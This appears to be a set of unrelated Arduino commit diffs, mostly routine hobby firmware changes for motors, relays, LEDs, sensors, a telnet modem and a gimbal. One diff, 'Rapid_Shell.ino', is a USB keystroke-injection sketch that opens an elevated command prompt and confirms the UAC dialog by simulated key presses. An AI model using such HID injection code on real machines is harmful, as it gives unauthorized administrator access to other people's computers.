+      long stepsMoved = abs(max(startPosition, Motor.currentPosition()) - min(startPosition, Motor.currentPosition()));
       RevolutionsToChange = stepsMoved / STEPS_PER_REVOLUTION;
       EEPROM.write(REVOLUTIONS_TO_MOVE_ADDRESS, RevolutionsToChange);
-      Serial.print("User stepsMoved stepping: ");
+      #if DEBUG
+      Serial.print("User stopped stepping at: ");
       Serial.print(stepsMoved);
       Serial.print(" (");
       Serial.print(RevolutionsToChange);
       Serial.println(")");
+      #endif
+
+      // Tell AccelStepper to stop and reset its position counter
+      Motor.setCurrentPosition(0);

       // This break is redundant because Motor.run() will return false past here
       break;
@@ -555,10 +560,7 @@
     if ( ! stillRunning )  {
       break;
     }
-
-    // Increment local step counter
-    // stepsMoved++;
-    // Serial.println("step");
+
   }

   disableMotor();


Expanded conditions for trigger handling

--- arduino/autofowl/autofowl.ino
+++ arduino/autofowl/autofowl.ino
@@ -353,6 +353,11 @@
   }
 }

+/*
+ * Possibly change state based on time and light level triggers.
+ *
+ * Truth tables are intentionally worked out as long form conditions for the sake of clarity.
+ */
 void handleTriggers() {

   updateLight();
@@ -367,19 +372,21 @@
     return;
   }

+  // LightCurrent > LightThreshDown
+  // LightCurrent > LightThreshUp
+  // ClockThreshDown, Now, ClockThreshUp
+  // high.totalseconds() < totalseconds(Now) < high.totalseconds();
+
   // Determine if door should move up or down
   if ( DoorPosition != DOOR_POSITION_UP && (
-        ( between(ClockThreshDown, Now, ClockThreshUp) && LightCurrent > LightThreshDown ) ||
-        ( ! between(ClockThreshDown, Now, ClockThreshUp) && LightCurrent > LightThreshUp )
-       )
-    ) {
+       ( LightCurrent > LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) > ClockThreshDown.totalseconds() ) ||
+       ( LightCurrent > LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) < ClockThreshUp.totalseconds() && totalseconds(Now) > ClockThreshDown.totalseconds() ) ||
+       // Ambiguous. Open when clock says to open, but there is not enough light to trigger an open
+       ( LightCurrent < LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() ) ||
+       ( LightCurrent > LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() )
+     )
+  ) {

-    // See if we could potentially change door position
-    // If not, there's nothing else to do here
-    // if ( DoorPosition == DOOR_POSITION_UP ) {
-    //   return;
-    // }
-
     LightThreshTicks++;
     updateLCD();
     if ( LightThreshTicks > LIGHT_THRESH_TICKS_TO_CHANGE ) {
@@ -389,16 +396,18 @@
       LightThreshTicks = 0;
     }
   } else if ( DoorPosition != DOOR_POSITION_DOWN && (
-      ( ! between(ClockThreshDown, Now, ClockThreshUp) && LightCurrent < LightThreshUp ) ||
-      ( between(ClockThreshDown, Now, ClockThreshUp) && LightCurrent < LightThreshDown )
+      ( LightCurrent < LightThreshUp && LightCurrent < LightThreshDown && totalseconds(Now) < ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() ) ||
+      ( LightCurrent < LightThreshUp && LightCurrent < LightThreshDown && totalseconds(Now) < ClockThreshUp.totalseconds() && totalseconds(Now) > ClockThreshDown.totalseconds() ) ||
+      ( LightCurrent < LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) < ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() ) ||
+      ( LightCurrent < LightThreshUp && LightCurrent < LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) > ClockThreshDown.totalseconds() ) ||
+      // Ambiguous. Close when light says to be closed, but clock says to open.
+      ( LightCurrent < LightThreshUp && LightCurrent < LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() ) ||
+      // Ambiguous. Clock says close, while light is low, but not not yet low enough to trigger close.
+      ( LightCurrent < LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) > ClockThreshUp.totalseconds() && totalseconds(Now) > ClockThreshDown.totalseconds() ) ||
+      // Ambiguous. Close when light says to open, but clock says to close. Prevents door staying open if light sensor is faulty.
+      ( LightCurrent > LightThreshUp && LightCurrent > LightThreshDown && totalseconds(Now) < ClockThreshUp.totalseconds() && totalseconds(Now) < ClockThreshDown.totalseconds() )
     )
   ) {
-
-    // See if we could potentially change door position
-    // If not, there's nothing else to do here
-    if ( DoorPosition == DOOR_POSITION_DOWN ) {
-      return;
-    }

     LightThreshTicks++;
     updateLCD();


remove a line of nonsense

remove a line of nonsense

--- attiny/attiny.ino
+++ attiny/attiny.ino
@@ -84,8 +84,7 @@
   // Turn on LED, if there are flashes waiting in the queue
   if( flashQueue > 0 ) {
     // LED on
-    // increase value 300 for more light
-    analogWrite( ledPin, 300);
+    analogWrite( ledPin, 255);
   } else {
     // LED off
     analogWrite( ledPin, 0);


Battery: cycle load

Battery: cycle load

Signed-off-by: Robert Nelson <d6c41255011d14bfa93d8562b946ca186cfa0c7b@gmail.com>

--- BatteryCharger/BatteryCharger.ino
+++ BatteryCharger/BatteryCharger.ino
@@ -11,6 +11,12 @@
 Adafruit_INA219 ina219_B(0x44);

 int counter=10;
+
+#define RELAY_UNDEF		0
+#define RELAY_A0_ON		1
+#define RELAY_A1_ON		2
+
+int relay_mode=RELAY_UNDEF;

 long lastSecond; //The millis counter to see when a second rolls by

@@ -43,13 +49,27 @@
 	Serial.println("Measuring voltage and current with INA219 ...");

 	lastSecond = millis();
+
+	//Turn off
+	pinMode(A0, OUTPUT);
+	digitalWrite(A0, LOW);
+
+	pinMode(A1, OUTPUT);
+	digitalWrite(A1, HIGH);
+
+	delay(10);
+
+	pinMode(A1, OUTPUT);
+	digitalWrite(A1, LOW);
+
+	relay_mode=RELAY_A1_ON;
 }

 void loop () {
 	//Print readings every second
-	if (millis() - lastSecond >= 10000)
+	if (millis() - lastSecond >= 7000)
 	{
-		lastSecond += 10000;
+		lastSecond += 7000;

 		shuntvoltage_A = ina219_A.getShuntVoltage_mV();
 		busvoltage_A = ina219_A.getBusVoltage_V();
@@ -92,6 +112,28 @@
 		pinMode(XBee_wake, INPUT); // put pin in a high impedence state
 		digitalWrite(XBee_wake, HIGH);

+		//Turn on
+		if ( relay_mode == RELAY_A1_ON ) {
+			if (( busvoltage_A > 12.6 ) && ( current_mA_B > 400 )) {
+				pinMode(A0, OUTPUT);
+				digitalWrite(A0, HIGH);
+				delay(10);
+				digitalWrite(A0, LOW);
+				relay_mode = RELAY_A0_ON;
+			}
+		}
+
+		//Turn off
+		if ( relay_mode == RELAY_A0_ON ) {
+			if ( busvoltage_A < 12.3 ) {
+				pinMode(A1, OUTPUT);
+				digitalWrite(A1, HIGH);
+				delay(10);
+				digitalWrite(A1, LOW);
+				relay_mode = RELAY_A1_ON;
+			}
+		}
+
 		counter++;
 		if (counter == 100)
 		{


added Nintendo library

added Nintendo library

--- gc3ds.ino
+++ gc3ds.ino
@@ -2,7 +2,7 @@
 #define CPAD_X_PIN 5
 #define CPAD_Y_PIN 6
 #include <EEPROM.h>
-#include <Nintendo.h>
+#include "Nintendo.h"
 #include "nokia_lcd.h"
 #include "ds_pindef.h"
 #include "setting_menu.h"


Removed debug statements

Removed debug statements

--- MicroView/WiFiCartTelnetTest/WiFiCartTelnetTest.ino
+++ MicroView/WiFiCartTelnetTest/WiFiCartTelnetTest.ino
@@ -64,7 +64,7 @@
   }
   else
   {
-    display2("Wi-Fi \nFailed!");
+    display2("Wi-Fi Failed!");
   }
 }

@@ -73,7 +73,8 @@
    C64Serial.println();
    C64Serial.println("Commodore 64 Wi-Fi Modem");
    C64Serial.println("Telnet Test");
-   C64Serial.print("host: ");
+   ShowStats();
+   C64Serial.print("\nhost: ");
    C64Serial.setTimeout(1000);

    String readString = GetInput();
@@ -137,6 +138,25 @@

 // ----------------------------------------------------------

+void ShowStats()
+{
+  char mac[20];
+  char ip[20];
+  char ssid[20];
+
+  wifly.getMAC(mac,20);
+  wifly.getIP(ip,20);
+  wifly.getSSID(ssid,20);
+
+  C64Serial.print("\nMAC Address: ");   C64Serial.println(mac);
+  C64Serial.print("IP Address:  ");   C64Serial.println(ip);
+  C64Serial.print("Wi-Fi SSID:  ");   C64Serial.println(ssid);
+}
+
+
+
+// ----------------------------------------------------------
+
 void Telnet(String host)
 {
    sprintf(temp, "Connecting to %s", host.c_str() );
@@ -162,9 +182,9 @@

 void TerminalMode()
 {
-   C64Serial.println("\nDetermining Connection Type\n");
+   C64Serial.println("Determining Connection Type\n");
    CheckTelnet();
-   C64Serial.println("\nEntering Terminal Mode\n");
+   C64Serial.println("*** Entering Terminal Mode ***\n");

    while (wifly.available() != -1) // -1 means closed
    {
@@ -189,8 +209,6 @@
     display2("Connection closed");
 }

-
-
 void CheckTelnet()     //  inquiry host for telnet parameters / negotiate telnet parameters with host
 {
   int inpint, verbint, optint;                         //    telnet parameters as integers
@@ -206,7 +224,7 @@
   C64Serial.println("Telnet Connection Detected");

   // IAC handling
-//  SendTelnetParameters();    // Start off with negotiating
+  SendTelnetParameters();    // Start off with negotiating

   while (true)
   {
@@ -214,9 +232,6 @@

     if (inpint != IAC)
     {
-      C64Serial.print("Received inpint=");
-      C64Serial.println(inpint);
-      C64Serial.println("End of IAC Negotiation");
       return;   // Let Terminal mode handle character
     }


Update Rapid_Shell.ino

Update Rapid_Shell.ino

--- Rapid_Shell/Rapid_Shell.ino
+++ Rapid_Shell/Rapid_Shell.ino
@@ -7,16 +7,10 @@
   // Initialize the digital pin as an output.
   pinMode(1, OUTPUT); //LED on Model A
 }
-// Infinite loop
-void loop() {
-
-  DigiKeyboard.sendKeyStroke(0);
-  DigiKeyboard.delay(500);
-  digitalWrite(1, HIGH); // LED on <--> Action start
-// BEGIN - Open CMD in Administrator Privileges
+void cmd_1() {
   DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT);
   DigiKeyboard.delay(1500);
-  DigiKeyboard.print("cmd");
+  DigiKeyboard.print("c;d");
   DigiKeyboard.delay(1500);
   DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT);
   DigiKeyboard.delay(1000);
@@ -24,7 +18,26 @@
   DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
   DigiKeyboard.delay(500);
   DigiKeyboard.sendKeyStroke(KEY_ENTER);
-// END - Open CMD in Administrator Privileges
+}
+void cmd_2() {
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.println("powershell  Start-Process cmd -Verb runAs");
+  DigiKeyboard.delay(1500);
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
+  DigiKeyboard.delay(500);
+  DigiKeyboard.sendKeyStroke(KEY_ENTER);
+}
+// Infinite loop
+void loop() {
+
+  DigiKeyboard.sendKeyStroke(0);
+  DigiKeyboard.delay(500);
+  digitalWrite(1, HIGH); // LED on <--> Action start
+  cmd_1(); // Open CMD in Administrator Privileges using METHOD 1 (UNCOMMENT TO USE)
+  //cmd_2(); // Open CMD in Administrator Privileges using METHOD 2 (UNCOMMENT TO USE)
   DigiKeyboard.delay(1500);
   DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
   DigiKeyboard.delay(250);


Reduce flicker of 67% gray value

Reduce flicker of 67% gray value

--- avr/avr.ino
+++ avr/avr.ino
@@ -54,7 +54,7 @@
 uint8_t col_iter = 0; // Anti-ghosting
 uint8_t row_i = 0;
 volatile uint8_t may_flip = 0;
-int pwm_planes[] = {0, 0, 0, 0, 0, 1, 1, 2}; // PWM "plane" running sequence
+int pwm_planes[] = {0, 0, 1, 0, 0, 1, 0, 2}; // PWM "plane" running sequence
 int pwm_i = 0; // Current PWM cycle
 uint8_t *buf_pwm = buf_a[0];


fix compile error #163

fix compile error #163

--- examples/ReadNUID/ReadNUID.ino
+++ examples/ReadNUID/ReadNUID.ino
@@ -66,7 +66,7 @@
         return;

     Serial.print(F("PICC type: "));
-    byte piccType = rfid.PICC_GetType(rfid.uid.sak);
+    MFRC522::PICC_Type piccType = rfid.PICC_GetType(rfid.uid.sak);
     Serial.println(rfid.PICC_GetTypeName(piccType));

     // Check is the PICC of Classic MIFARE type
@@ -96,7 +96,7 @@
         printDec(rfid.uid.uidByte, rfid.uid.size);
         Serial.println();
     }
-    else Serial.println("Card read previously.");
+    else Serial.println(F("Card read previously."));

     // Halt PICC
     rfid.PICC_HaltA();


minor update

minor update

--- TempPressSensor/Arduino/AdafruitIot/AdafruitIot.ino
+++ TempPressSensor/Arduino/AdafruitIot/AdafruitIot.ino
@@ -315,7 +315,7 @@
   }

   // check for the presence of the shield:
-  if (WiFi.status() == WL_NO_SHIELD) {
+  if (WiFi.status() == WL_NO_SHIELD) {
     halt("WiFi shield not present");
   }


added pulse & pulseRGB

added pulse & pulseRGB

--- Arduino/TurquoiseBicuspid.ino
+++ Arduino/TurquoiseBicuspid.ino
@@ -5,7 +5,7 @@
 // Global
 String BUFFER = "";
 char DELIMETER = ':';
-int LED = 13;
+int LED = 11;
 int TIME_START = 0;
 int REDPIN = 6;
 int GREPIN = 3;
@@ -110,8 +110,8 @@
       blinkRGB(LOOP, TIME, RED, GRE, BLU);
     }
     else if(TYPE == "pulse") {
-      //blink(LOOP, TIME);
-      blinkRGB(LOOP, TIME, RED, GRE, BLU);
+      //pulse(LOOP, TIME);
+      pulseRGB(LOOP, TIME, RED, GRE, BLU);
     }
     else if(TYPE == "clear") {
       REPEATING = false;
@@ -173,12 +173,83 @@
   }
 }

-// pulse - blinks an LED
+// pulse - pulse an LED
 // params:
 //   looper: int - amount of times pulse the LED
 //   time: int - time for the delay between on/off
 void pulse(int looper, int time) {
-  // same as above, but with pwm
+  int DELAY = 1;
+  if(time == 500) {
+    DELAY = 8;
+  }
+  else if(time == 250) {
+    DELAY = 5;
+  }
+  else if(time == 100) {
+    DELAY = 3;
+  }
+  else if(time == 50) {
+    DELAY = 1;
+  }
+  for(int i=0; i<looper; i++) {
+    for(int j=0; j<255; j++) {
+      analogWrite(LED, j);
+      delay(DELAY);
+    }
+    for(int k=255; k>=0; k--) {
+      analogWrite(LED, k);
+      delay(DELAY);
+    }
+  }
+}
+
+// pulse - pulse an RGB LED
+// params:
+//   looper: int - amount of times pulse the LED
+//   time: int - time for the delay between on/off
+//   red: int - red
+//   gre: int - green
+//   blu: int - blue
+void pulseRGB(int looper, int time, int red, int gre, int blu) {
+  int DELAY = 1;
+  if(time == 500) {
+    DELAY = 8;
+  }
+  else if(time == 250) {
+    DELAY = 5;
+  }
+  else if(time == 100) {
+    DELAY = 3;
+  }
+  else if(time == 50) {
+    DELAY = 1;
+  }
+  for(int i=0; i<looper; i++) {
+    for(int j=0; j<255; j++) {
+      if(j <= red) {
+        analogWrite(REDPIN, j);
+      }
+      if(j <= gre) {
+        analogWrite(GREPIN, j);
+      }
+      if(j <= blu) {
+        analogWrite(BLUPIN, j);
+      }
+      delay(DELAY);
+    }
+    for(int k=255; k>=0; k--) {
+      if(k <= red) {
+        analogWrite(REDPIN, k);
+      }
+      if(k <= gre) {
+        analogWrite(GREPIN, k);
+      }
+      if(k <= blu) {
+        analogWrite(BLUPIN, k);
+      }
+      delay(DELAY);
+    }
+  }
 }

 int HEXToRGB(char first, char second) {


Adjustments to GSR

Adjustments to GSR

--- acelaso.ino/acelaso.ino.ino
+++ acelaso.ino/acelaso.ino.ino
@@ -99,6 +99,8 @@

   //Galvanic Skin Response Read
   float gsr = analogRead(4);
+  Serial.print("Galvanic Skin Response: "; Serial.print(gsr);
+

   Wire.beginTransmission(ExpAddress);// transmit to GPIIO device #32 (0x20)


LED strip pin constant

LED strip pin constant

--- engine-room/engine_arduino/engine_arduino.ino
+++ engine-room/engine_arduino/engine_arduino.ino
@@ -3,7 +3,8 @@
 const int GRIDSIZE = 7;
 const int STRIP_LENGTH = GRIDSIZE * GRIDSIZE;

-PololuLedStrip<2> leds;
+const int LED_STRIP_PIN = 2;
+PololuLedStrip<LED_STRIP_PIN> leds;
 rgb_color colors[STRIP_LENGTH];

 const int SWITCH_ON = 1;
@@ -21,15 +22,6 @@
   37, 38, 39, 40, 41, 42, 43,
   44, 45, 46, 47, 48, 49, 50,
 };
-
-// Solution:
-// .-..-0-
-// 2..2.-.
-// .-.....
-// .1...1.
-// .....-.
-// ...1..2
-// .1...-.

 const int E = 99; // Empty cell. Everything else is a wall.
 const int PUZZLE[] = {
@@ -208,3 +200,4 @@
   updateGridColors();
   leds.write(colors, STRIP_LENGTH);
 }
+


Se cambió el sketch para tener integrador y diferenciador programable.

--- python/instrumental/sketch_arduino/sketch_pro_micro/sketch_pro_micro.ino
+++ python/instrumental/sketch_arduino/sketch_pro_micro/sketch_pro_micro.ino
@@ -1,5 +1,6 @@
 #define NUM_READINGS 128
 #define STEP_PIN 10
+#define GROUND_PIN 9
 #define SENSOR_PIN A0

 uint32_t times[NUM_READINGS];
@@ -9,6 +10,8 @@
 void setup() {
  //ADCSRA=(ADCSRA&0xF80)|0x05; //Permite tener más muestras por segundo
  analogWrite(STEP_PIN, 127);
+ pinMode(GROUND_PIN, OUTPUT);
+ digitalWrite(GROUND_PIN, LOW);
  Serial.begin(9600);
 }


update uarm controller arduino code

update uarm controller arduino code

degistirildi PIN numaralari
eklendi PWM notu

--- 6_ROS/ROS_PAKETLER/uarm_basic_keyboard_controller/arduino/arduinoNode.ino
+++ 6_ROS/ROS_PAKETLER/uarm_basic_keyboard_controller/arduino/arduinoNode.ino
@@ -7,9 +7,9 @@
 #include <std_msgs/Int16.h>
 #include <Servo.h>

-#define BASE_SERVO_PIN 14
-#define VERTICAL_SERVO_PIN 12
-#define HORIZONTAL_SERVO_PIN 13
+#define BASE_SERVO_PIN 9          //PWM PIN
+#define VERTICAL_SERVO_PIN 10     //PWM PIN
+#define HORIZONTAL_SERVO_PIN 11   //PWM PIN
 #define DEFAULT_BASE_POS 90
 #define DEFAULT_VERTICAL_POS 90
 #define DEFAULT_HORIZONTAL_POS 90


Update all3V0Sensors.ino

Update all3V0Sensors.ino

--- examples/all3V0Sensors/all3V0Sensors.ino
+++ examples/all3V0Sensors/all3V0Sensors.ino
@@ -1,91 +1,86 @@
-/*
- * All 3.0 V sensors example
- *
- * This sketch shows you how to use all 3.0 V ROHM sensors simultaneously.
- *
- * Before powering up your Arduino, make sure to select 3V on jumper J15 on the shield!
- */
-
-// define all the sensors we will use
-#define INCLUDE_KX022_1020
-#define INCLUDE_BM1383GLV
-#define INCLUDE_RPR_0521RS
-#define INCLUDE_BH1745NUC
-#define INCLUDE_BD1020HFV
-#define INCLUDE_ML8511A
-
-// include the library
-#include <RohmMultiSensor.h>
-
-//instantiate all the sensors' classes
-KX022_1020 acc;
-BM1383GLV bar;
-RPR_0521RS als;
-BH1745NUC rgbc;
-BD1020HFV temp;
-ML8511A uv;
-
-void setup() {
-  // begin serial communication
-  Serial.begin(9600);
-  Serial.println();
-
-  // begin the TWI (I2C) interface.
-  // this function has to be called before any calls to .init()!
-  Wire.begin();
-
-  // initialize all the sensor with default values.
-  acc.init();
-  bar.init();
-  als.init();
-  rgbc.init();
-  // temperature sensor (BD1020HFV) is connected to ANALOG_1 header on the shield
-  temp.init(ANALOG_1);
-  // temperature sensor (ML8511A) is connected to ANALOG_2 header on the shield
-  uv.init(ANALOG_2);
-
-  Serial.println("X[g]\tY[g]\tZ[g]\tp[hPa]\tPS[cnt]\tALS[lx]\tR[-]\tG[-]\tB[-]\tC[-]\tt[deg C]\tUV[mW/cm^2]");
-}
-
-void loop() {
-  // measure all the sensor values
-  float* accelValue = acc.measure();
-  float pressValue = bar.measure();
-  float psValue = als.measure(PS);
-  float alsValue = als.measure(ALS);
-  unsigned int* rgbcValue = rgbc.measure();
-  float tempValue = temp.measure();
-  float uvValue = uv.measure();
-
-  // print the values to the serial port
-  Serial.print(accelValue[0]);
-  Serial.print('\t');
-  Serial.print(accelValue[1]);
-  Serial.print('\t');
-  Serial.print(accelValue[2]);
-  Serial.print('\t');
-  Serial.print(pressValue);
-  Serial.print('\t');
-  Serial.print(psValue);
-  Serial.print('\t');
-  Serial.print(alsValue);
-  Serial.print('\t');
-  Serial.print(rgbcValue[0]);
-  Serial.print('\t');
-  Serial.print(rgbcValue[1]);
-  Serial.print('\t');
-  Serial.print(rgbcValue[2]);
-  Serial.print('\t');
-  Serial.print(rgbcValue[3]);
-  Serial.print('\t');
-  Serial.print(tempValue);
-  Serial.print('\t');
-  Serial.println(uvValue);
-
-  // safely deallocate memory allocated for the dynamic arrays 'accelValue' and 'rgbcValue'
-  delete[] accelValue;
-  delete[] rgbcValue;
-
-  // wait 100 ms before the next measurement
-  delay(100);
+/*
+ * All 3.0 V sensors example
+ *
+ * This sketch shows you how to use all 3.0 V ROHM sensors simultaneously.
+ *
+ * Before powering up your Arduino, make sure to select 3V on jumper J15 on the shield!
+ */
+
+// define all the sensors we will use
+#define INCLUDE_ALL_3V0_SENSORS
+
+// include the library
+#include <RohmMultiSensor.h>
+
+//instantiate all the sensors' classes
+KX022_1020 acc;
+BM1383GLV bar;
+RPR_0521RS als;
+BH1745NUC rgbc;
+BD1020HFV temp;
+ML8511A uv;
+
+void setup() {
+  // begin serial communication
+  Serial.begin(9600);
+  Serial.println();
+
+  // begin the TWI (I2C) interface.
+  // this function has to be called before any calls to .init()!
+  Wire.begin();
+
+  // initialize all the sensor with default values.
+  acc.init();
+  bar.init();
+  als.init();
+  rgbc.init();
+  // temperature sensor (BD1020HFV) is connected to ANALOG_1 header on the shield
+  temp.init(ANALOG_1);
+  // temperature sensor (ML8511A) is connected to ANALOG_2 header on the shield
+  uv.init(ANALOG_2);
+
+  Serial.println("X[g]\tY[g]\tZ[g]\tp[hPa]\tPS[cnt]\tALS[lx]\tR[-]\tG[-]\tB[-]\tC[-]\tt[deg C]\tUV[mW/cm^2]");
 }
+
+void loop() {
+  // measure all the sensor values
+  float* accelValue = acc.measure();
+  float pressValue = bar.measure();
+  float psValue = als.measure(PS);
+  float alsValue = als.measure(ALS);
+  unsigned int* rgbcValue = rgbc.measure();
+  float tempValue = temp.measure();
+  float uvValue = uv.measure();
+
+  // print the values to the serial port
+  Serial.print(accelValue[0]);
+  Serial.print('\t');
+  Serial.print(accelValue[1]);
+  Serial.print('\t');
+  Serial.print(accelValue[2]);
+  Serial.print('\t');
+  Serial.print(pressValue);
+  Serial.print('\t');
+  Serial.print(psValue);
+  Serial.print('\t');
+  Serial.print(alsValue);
+  Serial.print('\t');
+  Serial.print(rgbcValue[0]);
+  Serial.print('\t');
+  Serial.print(rgbcValue[1]);
+  Serial.print('\t');
+  Serial.print(rgbcValue[2]);
+  Serial.print('\t');
+  Serial.print(rgbcValue[3]);
+  Serial.print('\t');
+  Serial.print(tempValue);
+  Serial.print('\t');
+  Serial.println(uvValue);
+
+  // safely deallocate memory allocated for the dynamic arrays 'accelValue' and 'rgbcValue'
+  delete[] accelValue;
+  delete[] rgbcValue;
+
+  // wait 100 ms before the next measurement
+  delay(100);
+}


Fix format

Fix format

--- Peripheral/Flex_Sensor.ino/Flex_Sensor.ino.ino
+++ Peripheral/Flex_Sensor.ino/Flex_Sensor.ino.ino
@@ -15,7 +15,7 @@
 BLEService sensingService("181A"); // BLE "Environmental Sensing"

 // BLE Battery Level Characteristic
-BLEUnsignedCharCharacteristic windDirChar("2A73",  // standard 16-bit characteristic UUID
+BLEUnsignedIntCharacteristic windDirChar("2A73",  // standard 16-bit characteristic UUID
     BLERead | BLENotify);     // remote clients will be able to get notifications if this characteristic changes

 //###Flex sensor properties###
@@ -60,7 +60,7 @@
 // This function is called continuously, after setup() completes.
 void loop()
 {
-  updateFlexAngle();
+  listenBLE();
   delay(500);
 }

@@ -104,7 +104,7 @@
     Serial.println("Resistance: " + String(flexR) + " ohms");
     Serial.println("Bend: " + String(uangle) + " degrees");
     Serial.println();
-    windDirChar.setValue(angle);
+    windDirChar.setValue(uangle);
     oldFlexAngle = angle;
   }
 }


For debugging

For debugging

--- Peripheral/TwoSensorsValue/TwoSensorsValue.ino
+++ Peripheral/TwoSensorsValue/TwoSensorsValue.ino
@@ -13,6 +13,7 @@

 void setup() {
   Serial.begin(9600);
+  while(!Serial);
   blePeripheral.setLocalName("ReRide");
   blePeripheral.setAdvertisedServiceUuid(pressureSensorService.uuid());
   blePeripheral.addAttribute(pressureSensorService);


Updated listfiles SD example

Updated listfiles SD example

Updated description of the file

--- libraries/SD/examples/listfiles/listfiles.ino
+++ libraries/SD/examples/listfiles/listfiles.ino
@@ -1,7 +1,9 @@
 /*
-  SD card basic file example
+  Listfiles

- This example shows how to create and destroy an SD card file
+ This example shows how print out the files in a
+ directory on a SD card
+
  The circuit:
  * SD card attached to SPI bus as follows:
  ** MOSI - pin 11
@@ -28,7 +30,6 @@
    while (!Serial) {
     ; // wait for serial port to connect. Needed for Leonardo only
   }
-

   Serial.print("Initializing SD card...");
   // On the Ethernet Shield, CS is pin 4. It's set as an output by default.
@@ -61,7 +62,6 @@
      File entry =  dir.openNextFile();
      if (! entry) {
        // no more files
-       //Serial.println("**nomorefiles**");
        break;
      }
      for (uint8_t i=0; i<numTabs; i++) {


added circuit info

added circuit info

--- arduino_client/arduino_client.ino
+++ arduino_client/arduino_client.ino
@@ -40,7 +40,7 @@
 // initialize the library with the numbers of the interface pins
 LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

-int lcdPin = 10;
+int lcdPin = 10; //backlight of the display (pin 15 of the display to pin 10 of the arudino through 220ohm resistor)
 int millisToTurnOff = 10000;

 unsigned long lastSavedTime;


Got things working with gimbal

Got things working with gimbal

--- stabilize/stabilize.ino
+++ stabilize/stabilize.ino
@@ -10,9 +10,11 @@
 //1: serial logging,
 //2: SD card logging

-#define LOOP_LOGGING 1
+#define LOOP_LOGGING 0
 //1: enable logging in loop
 //0: disable logging in loop
+
+#define RUN_MOTORS 1

 #define MAX_FREQUENCY 50
 const long MIN_LOOP_TIME = 1000/MAX_FREQUENCY;
@@ -22,9 +24,7 @@
 float rollFrequencyCutoff = 0.5;
 float pitchFrequencyCutoff = 0.5;
 float yawFrequencyCutoff = 0.5;
-FilterOnePole rollHighpass(HIGHPASS, rollFrequencyCutoff);
-FilterOnePole pitchHighpass(HIGHPASS, pitchFrequencyCutoff);
-FilterOnePole yawHighpass(HIGHPASS, yawFrequencyCutoff);
+

 //led output pin
 const int kLedPin =  13;
@@ -67,14 +67,28 @@
 ///
 //

+float degree2rad(float degree) {
+  return degree*2.0*PI/360.0;
+}
+
+float rad2degree(float rad) {
+  return rad * 360.0/(2.0*PI/360);
+}
+
+//float yawRollover(float yaw) {
+//  static float prev = 0;
+//  static float mod = 0;
+//  if(abs() > )
+//}
+
 void setup() {
   pinMode(kLedPin, OUTPUT);
   dataLoggingSetup();
   imuSetup();
   motControlSetup();
-  motSetup(1, 10,0,0);
-  motSetup(2, 10,0,0);
-  motSetup(3, 10,0,0);
+  motSetup(1, 100,0,0);
+  motSetup(2, 100,0,0);
+  motSetup(3, 100,0,0);

   if(!LOOP_LOGGING) {
     setLogPermission(false);
@@ -82,43 +96,52 @@
 }

 void loop() {
-  static long time_last = 0;
-
-  //limit cycle frequency to MAX_FREQUENCY
-  while(millis()-time_last < MIN_LOOP_TIME);
-  long loop_time = millis() - time_last;
-  time_last += loop_time;
-
-  //update washout filters
-  rollHighpass.input(imu.roll);
-  pitchHighpass.input(imu.pitch);
-  yawHighpass.input(imu.yaw);
-
-  //sync and update motor commands
-  syncMotor(1); //roll
-  syncMotor(2); //pitch
-  syncMotor(3); //yaw
-
-  setVal(1, ANGLE, -imu.roll+rollHighpass.output()); //roll
-  setVal(2, ANGLE, -imu.pitch+pitchHighpass.output()); //pitch
-  setVal(3, ANGLE, -imu.yaw+yawHighpass.output()); //yaw
-
-  //imu
-  if(!updateImu()) {
-    stronglogln("Something went wrong with the IMU.");
-    return; //skip the cycle if the imu doesn't update correctly
+  FilterOnePole rollHighpass(HIGHPASS, rollFrequencyCutoff);
+  FilterOnePole pitchHighpass(HIGHPASS, pitchFrequencyCutoff);
+  FilterOnePole yawHighpass(HIGHPASS, yawFrequencyCutoff);
+  while(1) {
+    //failover tasks
+
+    //imu
+    if(!updateImu()) {
+      logln("Something went wrong with the IMU.");
+      return; //skip the cycle if the imu doesn't update correctly
+    }
+
+    static long time_last = 0;
+
+    //limit cycle frequency to MAX_FREQUENCY
+    while(millis()-time_last < MIN_LOOP_TIME);
+    long loop_time = millis() - time_last;
+    time_last += loop_time;
+
+    //update washout filters
+    rollHighpass.input(imu.roll);
+    pitchHighpass.input(imu.pitch);
+    yawHighpass.input(imu.yaw);
+
+    if(RUN_MOTORS) {
+      //sync and update motor commands
+      syncMotor(2); //roll
+      syncMotor(1); //pitch
+      syncMotor(3); //yaw
+
+      setVal(2, ANGLE, degree2rad(imu.roll)+3.14); //roll
+      setVal(1, ANGLE, degree2rad(imu.pitch)+1.5); //pitch
+      setVal(3, ANGLE, degree2rad(-imu.yaw) + 1.5); //yaw
+    }
+
+    logln("Compiling output...");
+
+    static long ct = 0;
+    ct++;
+
+    static char string[300];
+    //compile output
+    sprintf(string, "%d,%d,%f,%f,%f,%f,%f,%f,%f,%f,%f",ct,loop_time,imu.roll,imu.pitch,imu.yaw,imu.ax,imu.ay,imu.az,getVal(1, ANGLE),getVal(2, ANGLE),getVal(3, ANGLE));
+
+    //output
+    dataln(string);
+    stronglogln(string);
   }
-
-  logln("Compiling output...");
-
-  static long ct = 0;
-  ct++;
